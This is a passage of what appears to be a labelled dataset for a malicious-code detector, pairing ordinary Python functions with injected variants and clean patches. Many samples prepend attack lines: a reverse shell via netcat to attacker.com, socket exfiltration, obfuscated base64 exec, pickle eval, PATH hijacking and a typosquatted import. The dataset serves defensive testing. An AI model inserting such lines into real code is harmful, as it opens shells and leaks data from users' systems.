\"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1b2994b8", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_9f1de807", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_e4c35f13", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_25816de6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_e347f356", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_18d78463", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9c27bfea", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_885a8c68", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_dd31614a", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_bfa92b6a", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e4543bd1", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_9d3e7e2c", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f62b7adc", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_23a9e4ae", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d9400359", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_fde537c5", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_1bd0c540", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b30f5e25", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_d07a0c98", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_045e0459", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_aab83507", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_76b44e96", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_199a99ff", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_b177dc26", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_1a4710a3", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_066868d6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_d3c1a506", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_09fcdf4e", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_29206eac", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_de262ee6", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_48aadf8b", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_e5457903", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0217aba7", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_04797f01", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_6ee227ac", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_1a956b31", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_a0244cd5", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_33f72b77", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_70d451c7", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_c340fabd", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_b7d99eda", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_ae049b5d", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_da8adcb0", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_916d227e", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_041f982b", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and 